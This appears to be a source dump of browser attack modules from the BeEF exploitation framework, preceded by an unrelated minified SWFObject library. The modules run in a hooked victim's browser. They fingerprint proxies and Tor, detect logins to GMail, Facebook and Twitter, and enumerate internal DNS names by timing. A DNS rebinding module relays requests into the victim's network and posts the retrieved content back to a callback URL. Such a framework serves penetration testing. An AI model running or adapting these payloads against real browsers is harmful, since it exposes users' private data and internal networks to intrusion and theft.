/* SWFObject v2.2 <http://code.google.com/p/swfobject/> is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> */ var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y<X;Y++){U[Y]()}}function K(X){if(J){X()}else{U[U.length]=X}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener("load",Y,false)}else{if(typeof j.addEventListener!=D){j.addEventListener("load",Y,false)}else{if(typeof O.attachEvent!=D){i(O,"onload",Y)}else{if(typeof O.onload=="function"){var X=O.onload;O.onload=function(){X();Y()}}else{O.onload=Y}}}}}function h(){if(T){V()}else{H()}}function V(){var X=j.getElementsByTagName("body")[0];var aa=C(r);aa.setAttribute("type",q);var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable("$version");if(ab){ab=ab.split(" ")[1].split(",");M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return}}X.removeChild(aa);Z=null;H()})()}else{H()}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute("name").toLowerCase()!="movie"){ah[X[ad].getAttribute("name")]=X[ad].getAttribute("value")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(Y);if(Z&&typeof Z.SetVariable!=D){aa.success=true;aa.ref=Z}ab(aa)}}}}}function z(aa){var X=null;var Y=c(aa);if(Y&&Y.nodeName=="OBJECT"){if(typeof Y.SetVariable!=D){X=Y}else{var Z=Y.getElementsByTagName(r)[0];if(Z){X=Z}}}return X}function A(){return !a&&F("6.0.65")&&(M.win||M.mac)&&!(M.wk&&M.wk<312)}function P(aa,ab,X,Z){a=true;E=Z||null;B={success:false,id:X};var ae=c(X);if(ae){if(ae.nodeName=="OBJECT"){l=g(ae);Q=null}else{l=ae;Q=X}aa.id=R;if(typeof aa.width==D||(!/%$/.test(aa.width)&&parseInt(aa.width,10)<310)){aa.width="310"}if(typeof aa.height==D||(!/%$/.test(aa.height)&&parseInt(aa.height,10)<137)){aa.height="137"}j.title=j.title.slice(0,47)+" - Flash Player Installation";var ad=M.ie&&M.win?"ActiveX":"PlugIn",ac="MMredirectURL="+O.location.toString().replace(/&/g,"%26")+"&MMplayerType="+ad+"&MMdoctitle="+j.title;if(typeof ab.flashvars!=D){ab.flashvars+="&"+ac}else{ab.flashvars=ac}if(M.ie&&M.win&&ae.readyState!=4){var Y=C("div");X+="SWFObjectNew";Y.setAttribute("id",X);ae.parentNode.insertBefore(Y,ae);ae.style.display="none";(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae)}else{setTimeout(arguments.callee,10)}})()}u(aa,ab,X)}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C("div");Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display="none";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.replaceChild(g(Y),Y)}}function g(ab){var aa=C("div");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML}else{var Y=ab.getElementsByTagName(r)[0];if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var Z=0;Z<X;Z++){if(!(ad[Z].nodeType==1&&ad[Z].nodeName=="PARAM")&&!(ad[Z].nodeType==8)){aa.appendChild(ad[Z].cloneNode(true))}}}}}return aa}function u(ai,ag,Y){var X,aa=c(Y);if(M.wk&&M.wk<312){return X}if(aa){if(typeof ai.id==D){ai.id=Y}if(M.ie&&M.win){var ah="";for(var ae in ai){if(ai[ae]!=Object.prototype[ae]){if(ae.toLowerCase()=="data"){ag.movie=ai[ae]}else{if(ae.toLowerCase()=="styleclass"){ah+=' class="'+ai[ae]+'"'}else{if(ae.toLowerCase()!="classid"){ah+=" "+ae+'="'+ai[ae]+'"'}}}}}var af="";for(var ad in ag){if(ag[ad]!=Object.prototype[ad]){af+='<param name="'+ad+'" value="'+ag[ad]+'" />'}}aa.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'+ah+">"+af+"</object>";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2])}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa])}for(var Y in M){M[Y]=null}M=null;for(var X in swfobject){swfobject[X]=null}swfobject=null})}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;w(ab,false)}else{if(Z){Z({success:false,id:ab})}}},getObjectById:function(X){if(M.w3){return z(X)}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+="";ag+="";var aj={};if(af&&typeof af===r){for(var al in af){aj[al]=af[al]}}aj.data=ab;aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak]}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+="&"+ai+"="+Z[ai]}else{am.flashvars=ai+"="+Z[ai]}}}if(F(Y)){var an=u(aj,am,ah);if(aj.id==ah){w(ah,true)}X.success=true;X.ref=an}else{if(aa&&A()){aj.data=aa;P(aj,am,ah,ac);return}else{w(ah,true)}}if(ac){ac(X)}})}else{if(ac){ac(X)}}},switchOffAutoHideShow:function(){m=false},ua:M,getFlashPlayerVersion:function(){return{major:M.pv[0],minor:M.pv[1],release:M.pv[2]}},hasFlashPlayerVersion:F,createSWF:function(Z,Y,X){if(M.w3){return u(Z,Y,X)}else{return undefined}},showExpressInstall:function(Z,aa,X,Y){if(M.w3&&A()){P(Z,aa,X,Y)}},removeSWF:function(X){if(M.w3){y(X)}},createCSS:function(aa,Z,Y,X){if(M.w3){v(aa,Z,Y,X)}},addDomLoadEvent:K,addLoadEvent:s,getQueryParamValue:function(aa){var Z=j.location.search||j.location.hash;if(Z){if(/\?/.test(Z)){Z=Z.split("?")[1]}if(aa==null){return L(Z)}var Y=Z.split("&");for(var X=0;X<Y.length;X++){if(Y[X].substring(0,Y[X].indexOf("="))==aa){return L(Y[X].substring((Y[X].indexOf("=")+1)))}}}return""},expressInstallCallback:function(){if(a){var X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display="block"}}if(E){E(B)}}a=false}}}}();
JavaScript
beef/modules/network/detect_burp/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { load_script = function(url) { var s = document.createElement("script"); s.type = 'text/javascript'; s.src = url; document.body.appendChild(s); } get_proxy = function() { try { var response = FindProxyForURL('', ''); beef.debug("Response: " + response); beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=true&response=" + response, beef.are.status_success()); } catch(e) { beef.debug("Response: " + e.message); beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false", beef.are.status_error()); } } load_script("http://burp/proxy.pac"); setTimeout("get_proxy()", 10000); });
YAML
beef/modules/network/detect_burp/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_burp: enable: true category: "Network" name: "Detect Burp" description: "This module checks if the browser is using Burp. The Burp web interface must be enabled (default). The proxy IP address is returned to BeEF." authors: ["bcoles"] target: working: ["ALL"]
Ruby
beef/modules/network/detect_burp/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_burp < BeEF::Core::Command def post_execute save({ 'result' => @datastore['result'] }) configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true return unless @datastore['results'] =~ /^has_burp=true&response=PROXY ([\d.]+:\d+)/ ip = Regexp.last_match(1).split(':')[0] port = Regexp.last_match(1).split(':')[1] session_id = @datastore['beefhook'] if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found network service [ip: #{ip}, port: #{port}]") BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: 'http', ip: ip, port: port, type: 'Burp Proxy') end end end
JavaScript
beef/modules/network/detect_ethereum_ens/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (document.getElementById('ethereum_ens_img_<%= @command_id %>')) { return "Img already created"; } var img = new Image(); img.setAttribute("style", "visibility:hidden"); img.setAttribute("width", "0"); img.setAttribute("height", "0"); img.src = '<%= @ethereum_ens_resource %>'; img.id = 'ethereum_ens_img_<%= @command_id %>'; img.setAttribute("attr", "start"); img.onerror = function() { this.setAttribute("attr", "error"); }; img.onload = function() { this.setAttribute("attr", "load"); }; document.body.appendChild(img); setTimeout(function() { var img = document.getElementById('ethereum_ens_img_<%= @command_id %>'); if (img.getAttribute("attr") == "error") { beef.debug('[Detect Ethereum ENS] Browser is not resolving Ethereum ENS domains.'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not resolving Ethereum ENS domains.'); } else if (img.getAttribute("attr") == "load") { beef.debug('[Detect Ethereum ENS] Browser is resolving Ethereum ENS domains.'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is resolving Ethereum ENS domains.'); } else if (img.getAttribute("attr") == "start") { beef.debug('[Detect Ethereum ENS] Timed out. Cannot determine if browser is resolving Ethereum ENS domains.'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timed out. Cannot determine if browser is resolving Ethereum ENS domains.'); }; document.body.removeChild(img); }, <%= @timeout %>); });
YAML
beef/modules/network/detect_ethereum_ens/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_ethereum_ens: enable: true category: "Network" name: "Detect Ethereum ENS" description: "This module will detect if the zombie is currently using Ethereum ENS resolvers. Note that the detection may fail when attempting to load a HTTP resource from a hooked HTTPS page." authors: ["wade", "pdp", "bm", "xntrik", "bcoles"] target: working: ["ALL"]
Ruby
beef/modules/network/detect_ethereum_ens/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_ethereum_ens < BeEF::Core::Command def self.options [ { 'name' => 'ethereum_ens_resource', 'ui_label' => 'What Ethereum ENS image resource to request', 'value' => 'http://ens.eth/static/favicon-6305d6ce89910df001b94e8a31eb08f5.ico' }, # Alternatives: # http://esteroids.eth/favicon.ico # http://api3.eth/api3-logo-white.svg # http://api3.eth/favicon.ico { 'name' => 'timeout', 'ui_label' => 'Detection timeout', 'value' => '15000' } ] end def post_execute return if @datastore['result'].nil? save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/network/detect_opennic/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (document.getElementById('opennic_img_<%= @command_id %>')) { return "Img already created"; } var img = new Image(); img.setAttribute("style", "visibility:hidden"); img.setAttribute("width", "0"); img.setAttribute("height", "0"); img.src = '<%= @opennic_resource %>'; img.id = 'opennic_img_<%= @command_id %>'; img.setAttribute("attr", "start"); img.onerror = function() { this.setAttribute("attr", "error"); }; img.onload = function() { this.setAttribute("attr", "load"); }; document.body.appendChild(img); setTimeout(function() { var img = document.getElementById('opennic_img_<%= @command_id %>'); if (img.getAttribute("attr") == "error") { beef.debug('[Detect OpenNIC] Browser is not resolving OpenNIC domains.'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not resolving OpenNIC domains.'); } else if (img.getAttribute("attr") == "load") { beef.debug('[Detect OpenNIC] Browser is resolving OpenNIC domains.'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is resolving OpenNIC domains.'); } else if (img.getAttribute("attr") == "start") { beef.debug('[Detect OpenNIC] Timed out. Cannot determine if browser is resolving OpenNIC domains.'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timed out. Cannot determine if browser is resolving OpenNIC domains.'); }; document.body.removeChild(img); }, <%= @timeout %>); });
YAML
beef/modules/network/detect_opennic/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_opennic: enable: true category: "Network" name: "Detect OpenNIC DNS" description: "This module will detect if the zombie is currently using OpenNIC DNS resolvers.</br><br/>Note that the detection may fail when attempting to load a HTTP resource from a hooked HTTPS page." authors: ["wade", "pdp", "bm", "xntrik", "bcoles"] target: working: ["ALL"]
Ruby
beef/modules/network/detect_opennic/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_opennic < BeEF::Core::Command def self.options [ { 'name' => 'opennic_resource', 'ui_label' => 'What OpenNIC image resource to request', 'value' => 'http://be.libre/lang/flag/us.png' }, { 'name' => 'timeout', 'ui_label' => 'Detection timeout', 'value' => '10000' } ] end def post_execute return if @datastore['result'].nil? save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/network/detect_soc_nets/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var facebookresult = ""; var twitterresult = ""; if (document.getElementById('gmailimg')) { return "Img has already been created"; } var img = new Image(); img.setAttribute("style","visibility:hidden"); img.setAttribute("width","0"); img.setAttribute("height","0"); img.src = 'https://mail.google.com/mail/photos/img/photos/public/AIbEiAIAAABDCKa_hYq24u2WUyILdmNhcmRfcGhvdG8qKDI1ODFkOGViM2I5ZjUwZmZlYjE3MzQ2YmQyMjAzMjFlZTU3NjEzOTYwAZwSCm_MMUDjh599IgoA2muEmEZD?'+ new Date(); img.id = 'gmailimg'; img.setAttribute("attr","start"); img.onerror = function() { this.setAttribute("attr","error"); }; img.onload = function() { this.setAttribute("attr","load"); }; document.body.appendChild(img); $j.ajax({ url: "https://twitter.com/account/use_phx?setting=false&amp;format=text", dataType: "script", cache: "false", complete: function(one, two) { if (two == "success") { twitterresult = "User is NOT authenticated to Twitter (response:"+two+")"; } else if (two == "timeout") { twitterresult = "User is authenticated to Twitter (response:"+two+")"; } }, timeout: <%= @timeout %> }); $j.ajax({ url: "https://www.facebook.com/imike3", dataType: "script", cache: "false", error: function(one, two, three) { facebookresult = "User is NOT authenticated to Facebook"; }, success: function(one, two, three) { facebookresult = "User is authenticated to Facebook"; }, timeout: <%= @timeout %> }); setTimeout(function() { var img2 = document.getElementById('gmailimg'); if (img2.getAttribute("attr") == "error") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is NOT authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); } else if (img2.getAttribute("attr") == "load") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); } else if (img2.getAttribute("attr") == "start") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=Browser timed out. Cannot determine if user is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); }; document.body.removeChild(img2); img = null; img2 = null; }, <%= @timeout %>+3000); });
YAML
beef/modules/network/detect_soc_nets/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_soc_nets: enable: true category: "Network" name: "Detect Social Networks" description: "This module will detect if the Hooked Browser is currently authenticated to GMail, Facebook and Twitter." authors: ["xntrik", "Mike Cardwell"] target: working: ["ALL"]
Ruby
beef/modules/network/detect_soc_nets/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_soc_nets < BeEF::Core::Command def self.options [ { 'name' => 'timeout', 'ui_label' => 'Detection Timeout', 'value' => '5000' } ] end def post_execute content = {} content['GMail'] = @datastore['gmail'] content['Facebook'] = @datastore['facebook'] content['Twitter'] = @datastore['twitter'] save content end end
JavaScript
beef/modules/network/detect_tor/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (document.getElementById('torimg')) { return "Img already created"; } var img = new Image(); img.setAttribute("style","visibility:hidden"); img.setAttribute("width","0"); img.setAttribute("height","0"); //img.src = 'http://dige6xxwpt2knqbv.onion/wink.gif'; //img.src = 'http://xycpusearchon2mc.onion/deeplogo.jpg' img.src = '<%= @tor_resource %>'; img.id = 'torimg'; img.setAttribute("attr","start"); img.onerror = function() { this.setAttribute("attr","error"); }; img.onload = function() { this.setAttribute("attr","load"); }; document.body.appendChild(img); setTimeout(function() { var img = document.getElementById('torimg'); if (img.getAttribute("attr") == "error") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor'); } else if (img.getAttribute("attr") == "load") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor'); } else if (img.getAttribute("attr") == "start") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. Cannot determine if browser is behind Tor'); }; document.body.removeChild(img); }, <%= @timeout %>); });
YAML
beef/modules/network/detect_tor/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_tor: enable: true category: "Network" name: "Detect Tor" description: "This module will detect if the zombie is currently using Tor (https://www.torproject.org/)." authors: ["wade", "pdp", "bm", "xntrik"] target: working: ["ALL"]
Ruby
beef/modules/network/detect_tor/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_tor < BeEF::Core::Command def self.options [ { 'name' => 'tor_resource', 'ui_label' => 'What Tor resource to request', 'value' => 'http://xycpusearchon2mc.onion/deeplogo.jpg' }, { 'name' => 'timeout', 'ui_label' => 'Detection timeout', 'value' => '10000' } ] end def post_execute return if @datastore['result'].nil? save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/network/dns_enumeration/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var dns_list = "<%= @dns_list %>"; var timeout = parseInt("<%= @timeout %>"); var cont=0; var port = 900; var protocol="http://"; var hostnames; if(dns_list!="%default%") { hostnames = dns_list.split(","); } else { hostnames = new Array("abc", "about", "accounts", "admin", "administrador", "administrator", "ads", "adserver", "adsl", "agent", "blog", "channel", "client", "dev", "dev1", "dev2", "dev3", "dev4", "dev5", "dmz", "dns", "dns0", "dns1", "dns2", "dns3", "extern", "extranet", "file", "forum", "forums", "ftp", "ftpserver", "host", "http", "https", "ida", "ids", "imail", "imap", "imap3", "imap4", "install", "intern", "internal", "intranet", "irc", "linux", "log", "mail", "map", "member", "members", "name", "nc", "ns", "ntp", "ntserver", "office", "owa", "phone", "pop", "ppp1", "ppp10", "ppp11", "ppp12", "ppp13", "ppp14", "ppp15", "ppp16", "ppp17", "ppp18", "ppp19", "ppp2", "ppp20", "ppp21", "ppp3", "ppp4", "ppp5", "ppp6", "ppp7", "ppp8", "ppp9", "pptp", "print", "printer", "project", "pub", "public", "preprod", "root", "route", "router", "server", "smtp", "sql", "sqlserver", "ssh", "telnet", "time", "voip", "w", "webaccess", "webadmin", "webmail", "webserver", "website", "win", "windows", "ww", "www", "wwww", "xml"); } function notify() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Internal DNS found: '+ hostnames[cont]); check_next(); } function check_next() { cont++; if(cont<hostnames.length) do_resolv(protocol + hostnames[cont] + ":" + port); else setTimeout(function(){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=DNS Enumeration done') }, 1000); } function do_resolv(url) { // Cross Origin Resource Sharing call var xhr = new XMLHttpRequest(); if("withCredentials" in xhr) { xhr.open("GET", url, true); } else if(typeof XDomainRequest != "undefined") { xhr = new XDomainRequest(); xhr.open("GET",url); } else { return -1; } xhr.onreadystatechange= function(e) { if(xhr.readyState==4) { clearTimeout(p); check_next(); } }; xhr.send(); var p = setTimeout(function() { xhr.onreadystatechange = function(evt) {}; notify(); }, timeout); } beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Starting DNS enumeration: '+ hostnames.length + ' hostnames loaded'); if(do_resolv(protocol + hostnames[0] + ":" + port)==-1) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser not supported'); } });
YAML
beef/modules/network/dns_enumeration/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: dns_enumeration: enable: true category: "Network" name: "DNS Enumeration" description: "Discover DNS hostnames within the victim's network using dictionary and timing attacks." authors: ["jgaliana"] target: working: ["FF", "C"] not_working: ["IE", "S", "O"]
Ruby
beef/modules/network/dns_enumeration/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # # DNS Enumeration class Dns_enumeration < BeEF::Core::Command def self.options [ { 'name' => 'dns_list', 'ui_label' => 'DNS (comma separated)', 'value' => '%default%' }, { 'name' => 'timeout', 'ui_label' => 'Timeout (ms)', 'value' => '4000' } ] end def post_execute content = {} content['result'] = @datastore['result'] unless @datastore['result'].nil? content['fail'] = 'No DNS hosts have been discovered.' if content.empty? save content end end
JavaScript
beef/modules/network/dns_rebinding/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var domain = "<%= @domain %>" if (window.location.href.indexOf(domain) == -1) { window.location.href = "http://"+domain+"/"; } else { //Cut '/' from url var url = window.location.href.slice(0, -1); var url_callback = "<%= @url_callback %>"; url_callback += '/?from=from_victim&&'; function get_next_query() { var xhr_callback = new XMLHttpRequest(); //Synchronous because we do nothing without query from BeEF owner xhr_callback.open('GET', url_callback+'que=req', true); xhr_callback.onload = resolv_query; xhr_callback.send(null); } function resolv_query() { var path = this.getResponseHeader('path'); var method = this.getResponseHeader('method'); var data = this.responseText; //Asynchronous beacuse XHR2 don't work with responseType when synchronous var xhr = new XMLHttpRequest(); xhr.open(method, url+path, true); xhr.responseType = 'arraybuffer' xhr.onload = function(e) { var blob = new Blob([this.response], {type: this.getResponseHeader('Content-Type')}); beef.debug(blob); xhr_cb = new XMLHttpRequest(); xhr_cb.open('POST', url_callback+'que=req&&path='+path, false); xhr_cb.send(blob); elem = document.createElement("div"); elem.id = 'log'; elem.innerHTML = 'Downloaded: '+path; document.body.insertBefore(elem, document.body.childNodes[0]); } xhr.send(data); } xhr1 = new XMLHttpRequest(); xhr1.open('GET', url+'/?load', false); xhr1.send(null); if (xhr1.status == 200) { setInterval(get_next_query, 1000); } } });
YAML
beef/modules/network/dns_rebinding/config.yaml
